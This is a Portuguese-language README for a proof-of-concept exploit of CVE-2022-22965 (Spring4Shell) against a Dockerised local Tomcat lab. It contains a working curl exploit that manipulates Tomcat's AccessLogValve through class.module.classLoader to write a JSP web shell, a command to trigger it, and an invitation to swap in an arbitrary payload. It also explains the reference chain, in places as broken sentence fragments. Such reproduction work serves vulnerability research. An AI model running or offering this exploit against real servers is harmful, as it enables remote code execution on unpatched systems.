
Exploit de prova de conceito para CVE-2022-22965 (Spring4Shell) demonstrando execução remota de código via manipulação do Tomcat AccessLogValve. Inclui ambiente de reprodução baseado em Docker e análise técnica detalhada.
Exemplo mínimo de como reproduzir CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp em webapps/handling-form-submission-complete no servidor web.Execute o servidor Tomcat no docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Adicione -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" se quiser depurar remotamente.
Compile o projeto
./mvnw install
Implante a aplicação
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Escreva o exploit
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
O exploit irá criar o arquivo rce.jsp em webapps/handling-form-submission-complete no servidor web.
Use o exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Agora você verá 123 no terminal do container. Substitua System.out.println(123) pelo seu payload para executar código arbitrário.
GreetingController lida com requisições POST no endpoint /greeting e vincula campos de formulário ao objeto Greeting.user.info.firstname). Consulte o AbstractNestablePropertyAccessor para referências.Greeting tem dois campos id e content, mas na verdade ela também tem uma referência ao objeto Class. Podemos usar class.module.classLoader como chave de dados do formulário para acessar o classloader.module.Greeting. Nada mais. Na maioria dos casos, nem é perigoso porque nenhuma classe com campos públicos está disponível mesmo a partir de .O exploit funciona apenas no Tomcat porque ele tem um classloader especial. Embora uma cadeia de referências semelhante possa existir em outros servidores de aplicação web também. Ainda não foi simplesmente descoberta.
O exploit requer Java 9 ou superior porque a propriedade module foi adicionada no Java 9.
class.module.classLoader.getResources que nos permite continuar a cadeia de referências e acessar uma das instâncias da classe AccessLogValve.jsp na raiz da pasta da aplicação com o payload malicioso. Como os jsp são automaticamente executados pelo Tomcat, podemos navegar até ele no navegador e eventualmente executar o payload. Agora é RCE.